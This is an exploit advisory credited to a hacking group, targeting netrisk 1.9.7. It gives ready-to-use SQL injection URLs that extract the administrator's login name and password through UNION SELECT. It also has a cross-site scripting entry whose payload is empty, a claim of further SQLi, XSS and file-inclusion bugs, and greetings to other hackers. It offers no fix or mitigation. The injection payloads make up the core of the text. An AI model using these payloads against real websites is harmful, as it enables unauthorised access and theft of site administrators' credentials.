=0D
   ####################################################################=0D
   #                                                                  #=0D
   #  ...:::::netrisk 1.9.7 Multiple Remote Vulnerabilities::::....  #=0D
   #                        (sql injection/xss)                       #           =0D
   ####################################################################=0D
=0D
Virangar Security Team=0D
=0D
www.virangar.org=0D 
www.virangar.net=0D 
=0D
--------=0D
Discoverd By : virangar security team=0D
(hadihadi)=0D
---------------------------------=0D
special tnx to:MR.nosrati,black.shadowes,MR.hesy,satan,Zahra=0D
=0D
& all virangar members & all hackerz=0D
=0D
greetz:to my best friend in the world hadi_aryaie2004=0D
------------------------------------=0D
=0D
vlues:=0D
=0D
1.sql injection:=0D
get admin login name:=0D
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,login,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*=0D 
---=0D
get admin pass:=0D
http://site.com/patch/index.php?page=profile&pid=-1/**/union/**/select/**/1,2,pass,4,5,6,7,8,9,10,11/**/from/**/users/**/where/**/id=1/*=0D 
########################=0D
2.xss:=0D
http://site.com/patch/index.php?page==0D 
=0D
########################=0D
NetRisk contains of  other sql injecton/xss/LFI  bugs in other pages ;)=0D
=0D
=0D